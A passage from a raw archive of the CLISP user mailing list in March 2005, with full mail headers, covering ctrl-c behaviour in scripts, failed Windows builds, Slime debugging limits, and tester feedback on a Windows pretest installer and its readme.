BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: How to make clisp exit by a ctrl-c Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 16 13:52:26 2005 X-Original-Date: Wed, 16 Mar 2005 16:50:37 -0500 > * Christian Schuhegger [2005-03-16 20:12:46 +0100]: > > Now my question is, how does clisp decide if it is in "script > execution mode" or not? if the file is given on the command line, i.e., if we load file and then quit, this is script. if we execute the driver (the :init-function), this is not a script. > And can I perhaps set some flag that make > clisp always exit on ctrl-c? no. why don't you just wrap your init-function in exit-on-error? -- Sam Steingold (http://www.podval.org/~sds) running w2k Any programming language is at its best before it is implemented and used. From lisp-clisp-list@m.gmane.org Wed Mar 16 22:41:45 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DBohU-0006sK-Sk for clisp-list@lists.sourceforge.net; Wed, 16 Mar 2005 22:41:44 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DBohT-0005pt-0i for clisp-list@lists.sourceforge.net; Wed, 16 Mar 2005 22:41:44 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DBoft-00061j-6M for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 07:40:05 +0100 Received: from 213-172-121-077.dsl.aktivanet.de ([213.172.121.77]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 17 Mar 2005 07:40:05 +0100 Received: from Christian.Schuhegger by 213-172-121-077.dsl.aktivanet.de with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 17 Mar 2005 07:40:05 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Christian Schuhegger Lines: 26 Message-ID: References: <20030317075353.3E66394FE6@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 213-172-121-077.dsl.aktivanet.de User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en In-Reply-To: X-Gmane-MailScanner: Found to be clean X-Gmane-MailScanner: Found to be clean X-Gmane-MailScanner-SpamScore: ss X-MailScanner-From: lisp-clisp-list@m.gmane.org X-MailScanner-To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: How to make clisp exit by a ctrl-c Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 16 22:43:12 2005 X-Original-Date: Thu, 17 Mar 2005 07:41:29 +0100 Sam Steingold wrote: >>* Christian Schuhegger [2005-03-16 20:12:46 +0100]: >> >>Now my question is, how does clisp decide if it is in "script >>execution mode" or not? > > > if the file is given on the command line, i.e., if we load file and then > quit, this is script. > if we execute the driver (the :init-function), this is not a script. Thanks for the explanation. >>And can I perhaps set some flag that make >>clisp always exit on ctrl-c? > > > no. > > why don't you just wrap your init-function in exit-on-error? > Good point. I will do that. thanks. -- Christian Schuhegger http://www.el-chef.de From aneilbaboo@gmail.com Thu Mar 17 05:30:25 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DBv4z-00025l-AO for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 05:30:25 -0800 Received: from wproxy.gmail.com ([64.233.184.201]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DBv4x-0004i9-QU for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 05:30:25 -0800 Received: by wproxy.gmail.com with SMTP id 68so3825651wri for ; Thu, 17 Mar 2005 05:30:17 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=oGSk9QasS7yVzSc2rz+sKLG+j0O3vcC4SEKAmqPng0TIvi5S7/3UnHQWRtsipPIbs6wWpJ/5dp8y5pxARGcs/48E8JTzwpfv7iQF41xiTgcmZtFjlN6+d0/2n7+AI0L+bORrHqO3IgrCzK5iwn33cRXMRuTEsMSxNIZ2prNyQ5U= Received: by 10.54.76.10 with SMTP id y10mr517620wra; Thu, 17 Mar 2005 05:30:17 -0800 (PST) Received: by 10.54.52.8 with HTTP; Thu, 17 Mar 2005 05:30:17 -0800 (PST) Message-ID: From: Aneil Mallavarapu Reply-To: Aneil Mallavarapu To: clisp-list@lists.sourceforge.net In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: metaclass hash bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 17 05:31:36 2005 X-Original-Date: Thu, 17 Mar 2005 08:30:17 -0500 hi sam - i am unable to compile the (mar 16, 2005) cvs head in cygwin. any suggestions? i can get ./configure to work, but ./configure --with-mingw --with-module=regexp --with-module=syscalls --build build-mingw ./configure --with-dynamic-calls=yes --with-mingw --build build-mingw and ./configure --with-dynamic-calls=yes --with-mingw --with-module-syscalls --with-module=regexp --build build-mingw all fail after several pages of "checking _____/ config.status / executing ___" outputs. I see several lines of containing errors like "no opening delimiter", labels used but not defined, and warnings "assignment from incompatible pointer type". Finally it reports "confused by earlier errors, bailing out". "./configure" seems to complete successfully, however. Although, when I followed the make instructions: cd build-dir ./makemake --with-dynamic-ffi > Makefile make config.lisp vi config.lisp # The default stack size on your platform is insufficient # and must be increased to at least 8192. You must do either # 'ulimit -s 8192' (for Bourne shell derivatives, e.g., bash and zsh) or # 'limit stacksize 8192' (for C shell derivarives, e.g., tcsh) make make check I found that the make step fails with a long list of similar warnings & errors, finally bailing out with: ... spvw_debug.d: In function `object_out': spvw_debug.d:31: warning: value computed is not used spvw_debug.d:32: warning: value computed is not used make: *** [spvw.o] Error 1 Can anyone suggest a good build recipe? .... or better yet, will a release be available soon? Thanks, Aneil On Wed, 16 Mar 2005 14:49:28 -0500, Sam Steingold wrote: > > * Aneil Mallavarapu [2005-03-16 13:26:34 -0500]: > > > > (defclass x () ()) > > (gethash (find-class 'x) (make-hash-table :test 'equalp)) > > causes a program stack overflow & hangs, as will: > > (gethash (find-class 'standard-class) (make-hash-table :test 'equalp)) > > this works for me with the cvs head. > apparently this has been fixed (there have been many changes in hash-tables) > > Thanks for the bug report! > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > MS: Brain off-line, please wait. > From sds@gnu.org Thu Mar 17 06:27:10 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DBvxu-0005dg-7y for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 06:27:10 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DBvxs-0007Co-C5 for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 06:27:10 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2HEPIRZ024927; Thu, 17 Mar 2005 09:25:18 -0500 (EST) To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Aneil Mallavarapu's message of "Thu, 17 Mar 2005 08:30:17 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: metaclass hash bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 17 06:28:15 2005 X-Original-Date: Thu, 17 Mar 2005 09:26:43 -0500 > * Aneil Mallavarapu [2005-03-17 08:30:17 -0500]: > > any suggestions? read src/NEWS > i can get ./configure to work, but > ./configure --with-mingw --with-module=regexp > --with-module=syscalls --build build-mingw no need for --with-module=syscalls and --with-module=regexp (see src/NEWS) > ./configure --with-dynamic-calls=yes --with-mingw --build build-mingw what is --with-dynamic-calls=yes? > all fail after several pages of "checking _____/ config.status / > executing ___" outputs. I see several lines of containing errors like > "no opening delimiter", labels used but not defined, and warnings > "assignment from incompatible pointer type". Finally it reports > "confused by earlier errors, bailing out". I have never seen this error. could you please cut & paste? (as per and ) > I found that the make step fails with a long list of similar warnings > & errors, finally bailing out with: > ... > spvw_debug.d: In function `object_out': > spvw_debug.d:31: warning: value computed is not used > spvw_debug.d:32: warning: value computed is not used these are warnings (although quite unusual ones). > make: *** [spvw.o] Error 1 so what was the error? > Can anyone suggest a good build recipe? ./configure ... --build build-`uname` works for me. > .... or better yet, will a release be available soon? yes, as soon as it is ready (do not hold your breath - this is the status since last fall, see src/TODO and contribute). -- Sam Steingold (http://www.podval.org/~sds) running w2k A year spent in artificial intelligence is enough to make one believe in God. From astebakov@yahoo.com Thu Mar 17 10:28:39 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DBzja-0003fQ-ST for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 10:28:38 -0800 Received: from web52805.mail.yahoo.com ([206.190.39.169]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DBzjZ-00062V-AQ for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 10:28:38 -0800 Received: (qmail 23739 invoked by uid 60001); 17 Mar 2005 18:28:31 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=ywjAu9JKSekwBVVo7G9umEO8m+Le/Cy6DJfovsXfhSGyeh1nIc2uURDrZFC6DGNAi+Lz48iUbtARYl2zxWfJj+wM/yWWuSILBJ/qlC2/pOutbH4NYGipt34BD6kAude/e2rYMnnGmBCKvNUXE5GIdU0A8DdPasV3mNPNEp3oXsY= ; Message-ID: <20050317182831.23737.qmail@web52805.mail.yahoo.com> Received: from [209.50.91.70] by web52805.mail.yahoo.com via HTTP; Thu, 17 Mar 2005 10:28:30 PST From: Andrew Stebakov To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Clisp and Slime Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 17 10:29:19 2005 X-Original-Date: Thu, 17 Mar 2005 10:28:30 -0800 (PST) Hi, I am starting with CLisp on Windows and use Slime + XEmacs as IDE. Looks like debugging is not supported with Slime + CLisp. For example when I got a debug trap and I walk through the code frames the "v" command that's supposed to jump to the code report: Cannot find source for frame: #
T #
So my question is: What can I do to make it work? If I am using the wrong set of tools for CLisp on Windows what tools I can look at as IDE? Thanks! Andrew __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From mcross@irobot.com Thu Mar 17 10:47:02 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DC01N-0004Z8-Pl for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 10:47:01 -0800 Received: from smtp1.irobot.com ([66.238.211.203] helo=irobot.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DC01N-0003nx-9X for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 10:47:01 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] Clisp and Slime Message-ID: <712A2DEC228C7448978CBD7A7AD5B0902BA795@fever.wardrobe.irobot.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Clisp and Slime Thread-Index: AcUrHzzxLTe+fdtvSD+8F2jcltw9bgAAMJiQ From: "Cross, Matthew" To: "Andrew Stebakov" , X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 17 10:48:54 2005 X-Original-Date: Thu, 17 Mar 2005 13:46:54 -0500 =20 > From: clisp-list-admin@lists.sourceforge.net=20 > [mailto:clisp-list-admin@lists.sourceforge.net] On Behalf Of=20 > Andrew Stebakov > Sent: Thursday, March 17, 2005 1:29 PM >=20 > Hi, >=20 > I am starting with CLisp on Windows and use Slime + XEmacs as IDE. > Looks like debugging is not supported with Slime + CLisp. > For example when I got a debug trap and I walk through the=20 > code frames the "v" command that's supposed to jump to the=20 > code report: > Cannot find source for frame: #
T=20 > #
>=20 > So my question is: > What can I do to make it work? > If I am using the wrong set of tools for CLisp on Windows=20 > what tools I can look at as IDE? To the best of my knowledge, Slime only supports what's available in the lisp environment it's running in. Since Clisp doesn't support getting to the source code of an error, Slime can't. When I checked into it last, there were no open source lisp implementations for Windows that had this feature. CMUCL/SBCL have this feature, but there is no windows version of either of them (though SBCL has one in progress). To make it work, you (or someone else) would have to add support to Clisp for going from a frame to a source line. -Matt From lin8080@freenet.de Thu Mar 17 14:22:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DC3Ni-0008IW-0V for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 14:22:18 -0800 Received: from mout0.freenet.de ([194.97.50.131]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DC3Ng-0004B2-TY for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 14:22:17 -0800 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout0.freenet.de with esmtpa (Exim 4.51) id 1DC3NR-0007Mk-2E for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 23:22:01 +0100 Received: from be7c5.b.pppool.de ([213.7.231.197] helo=freenet.de) by mx1.freenet.de with esmtpsa (ID lin8080@freenet.de) (SSLv3:EXP1024-RC4-SHA:128) (Exim 4.50 #4) id 1DC3NO-0005Op-4G for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 23:22:01 +0100 Message-ID: <423A0158.300ED526@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <4233A995.D6CE7A9@freenet.de> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: woe32 pretest: clisp 2.33.82 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 17 14:23:06 2005 X-Original-Date: Thu, 17 Mar 2005 23:14:48 +0100 Sam Steingold schrieb: > > * lin8080 [2005-03-13 03:46:45 +0100]: Hallo test-run2: Delete all former datas, extract the zip-file again. > please edit install.bat and replace "-C" with "-repl" in the "clisp.exe" > command line. Replace -C with -rpl in INSTALL.BAT, line 15 and line 18, double-click on install.bat ********************************* +----------------------------------------------------------+ I this will install CLISP on your system, I I associating file types FAS, MEM and LISP with CLISP. I I it will also create a shortcut to CLISP on your desktop. I I press C-c to abort I +----------------------------------------------------------+ Weiter mit beliebiger Taste . . . * Installing CLISP to run from C:\clisp-2.33.82\ Use the `full' linking set? (y/n) y Associate types <.lisp>, <.lsp>, <.cl>, <.fas>, <.mem>, with CLISP? (y/n) y associating CLISP with Lisp files under "HKEY_CLASSES_ROOT" associating CLISP with FAS files under "HKEY_CLASSES_ROOT" associating CLISP with MEM files under "HKEY_CLASSES_ROOT" *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified. The following restarts are available: SKIP :R1 skip this form and proceed STOP :R2 stop loading file ABORT :R3 ABORT Break 1 [2]> :w <1> # EVAL frame for form (DIR-KEY-VALUE KEY "Common Programs") Break 1 [2]> *********************************** > when you get this error, please type ":w" and see which specific > function call triggers this error. > thanks! Well :)) Alternative, pressing 2x n: ************************************ ... Weiter mit beliebiger Taste . . . * Installing CLISP to run from C:\clisp-2.33.82\ Use the `full' linking set? (y/n) n Associate types <.lisp>, <.lsp>, <.cl>, <.fas>, <.mem>, with CLISP? (y/n) n *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified. The following restarts are available: SKIP :R1 skip this form and proceed STOP :R2 stop loading file ABORT :R3 ABORT Break 1 [2]> ************************************** hmm. > > Doing what readme.de says leads to the Errormessage CYGCRYPT-0.DLL is > > missing. > you are no longer supposed to run "lisp.exe" by hand. > always use "clisp.exe". Ok, I try to get the cvs clisp.exe during next week and test it again. > readme.de is out of date. see readme.en. > please send a patch to readme.de (and readme.es &c). Nice. (*.es is not for me) readme - please rename to readme.en or readme.us (most WIN editors take no notice when .* is missed) (btw: taranslation for readme.de is liesmich.txt) line 57,58,59: (looks like mismatch - please correct it) doc/impnotes.html, doc/impnotes.css, doc/clisp.png implementation notes should look like: (or something like that) doc/impnotes.html Important implementation notes doc/impnotes.css Stylesheet to html-file doc/clisp.png Standart icon for the desktop Else: There is a file "clisp-link", 23 753 Bytes not listed in the readme. (Beginns with: #!/bin/sh # Usage: clisp-link command [more args] ....) see src/install.lisp, created file from there? Hm. Isn't "#!/bin/sh" linux-specific? Can that work on WIN? Don't know, never test such things :( (file has no .* ending as described in install.lisp line7: - to create CLISP.LNK & CLISP.URL on your desktop.) Else2: /emacs-files: Did they work under WIN-Emacs Version? (not tested, have no emacs installed) Should be proofed. Else3: There is (line68) src/clisp.c - source of the driver program In /src there is no *.c extracted by winzip.exe. I found clisp.h in /linkkit-folder. Please include the file or cancel line 68 in readme-file. Else4: In readme line 79: src/*.fas - the same files, already compiled In src no *.fas file are extract from the zip-file, only *.lisp. (and later config.fas) Else5: Since there are 2 lisp.exe and lispinit.mem in /base and /full readme in line 83 should name the folder or maybe need an additional sentence to explain the reason for that. Else6: Oh dear. Very important: The prompt looks like: [1]> _ Please correct line 87. Please. Else6: Ähm. Readme line 108 and following: This is a relict from blank DOS-times. Nowadays Win-users (XP- you know) - I think they do not handle this like the readme recommend it. So, maybe the text should get a general update there (namely with: right click on...and other nice click events for goaling the win-aim) :)) However, it works as described (as long as DOS housed in the target MS-Product). Same is in readme line116: And create a batch file that starts lisp: ... When (when) the install.bat works as expected, this step should be obsolete. Think about a change there. > you do not need any start.bat file. > use the shortcut to clisp.exe which install.bat creates. (no, no new icon found on my desktop) Yes. And than I found in important Impnotes sec. 32.10 this: (OS:MAKE-SHORTCUT pathname &KEY :WORKING-DIRECTORY :ARGUMENTS :SHOW-COMMAND :ICON :DESCRIPTION :HOT-KEY :PATH) Create (or modify the properties of an existing one) a Win32 shortcut (#P".lnk") file. Life can be so easy :) Else(n) readme line 133 (129ff) describes the old steps to get help on errors. In the actual version (2.33.82) this may work as readme says. But what I saw is something like :r1 some text :r2 some text and this is not explained in the readme. Maybe this can be updated to modern habit? Minimal update in line 131: the prompt! (please) Break 1 [2]> no longer: 1. Break> _ and the Help does only this: (a bit poor compared with 2.27 Version) [6]> Help Help (abbreviated :h) = this list Use the usual editing capabilities. (quit) or (exit) leaves CLISP. [7]> :h Help (abbreviated :h) = this list Use the usual editing capabilities. (quit) or (exit) leaves CLISP. [8]> (missed (bye) there). unwide produces an error and that stands still in readme line 138. Else (n+1) Readme means (line 146ff), heavy errors should be reported with the imp.-version. Please add there the (command) to report the plattform too (or what else you wish to see). Else (n+2) The sources (line 154ff)? Are all these links still work? As I write here long time ago, a link from cons.clisp.org brought me to uni darmstadt and I found an older version there. And sourcefroge is not in that list. So, look at the download-page and think user-friendly as a service-maintainer. I guess I visit this in the next days. Else (stack overflow) After all, I send a private mail to with a version of readme.de. Hope it is ok. ______________________________________ > thanks for the bug reports! be continued :) (if you find time...) Example? Usualy a typical win-clicker looks for a file named setup.exe and do his favorite: cilck here click there or, if lazy, let his finger for a while on the enter key to get it. stefan (uff. more text then I thought) From sds@gnu.org Thu Mar 17 14:23:28 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DC3Op-0008Kt-SY for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 14:23:27 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DC3On-0000GK-5S for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 14:23:27 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2HMLYeJ001570 for ; Thu, 17 Mar 2005 17:21:35 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Sam Steingold's message of "Thu, 10 Mar 2005 18:01:47 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: woe32 pretest: clisp 2.33.83 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 17 14:24:18 2005 X-Original-Date: Thu, 17 Mar 2005 17:23:00 -0500 yet another pre-test, hopefully fixing the reported problems. > please try woe32 pretest: > > > > > main attraction: MOP > > specifically, please do test install.bat and clisp.exe -- Sam Steingold (http://www.podval.org/~sds) running w2k (let((a'(list'let(list(list'a(list'quote a)))a)))`(let((a(quote ,a))),a)) From sds@gnu.org Thu Mar 17 15:52:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DC4mn-0004YZ-Of for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 15:52:17 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DC4ml-0005ca-Qs for clisp-list@lists.sourceforge.net; Thu, 17 Mar 2005 15:52:17 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2HNoNw1007725; Thu, 17 Mar 2005 18:50:24 -0500 (EST) To: clisp-list@lists.sourceforge.net, lin8080 Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <423A0158.300ED526@freenet.de> (lin's message of "Thu, 17 Mar 2005 23:14:48 +0100") References: <4233A995.D6CE7A9@freenet.de> <423A0158.300ED526@freenet.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, lin8080 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: woe32 pretest: clisp 2.33.82 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 17 15:52:50 2005 X-Original-Date: Thu, 17 Mar 2005 18:51:49 -0500 > * lin8080 [2005-03-17 23:14:48 +0100]: > > EVAL frame for form (DIR-KEY-VALUE KEY "Common Programs") please open regedit and find out what needs to be changed in (with-dir-key-open (key :win32 "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" :direction :input) (setq desktop (dir-key-value key "Common Desktop") programs (dir-key-value key "Common Programs"))) what's your woe version? thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Daddy, what does "format disk c: complete" mean? From rurban@x-ray.at Fri Mar 18 01:09:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] 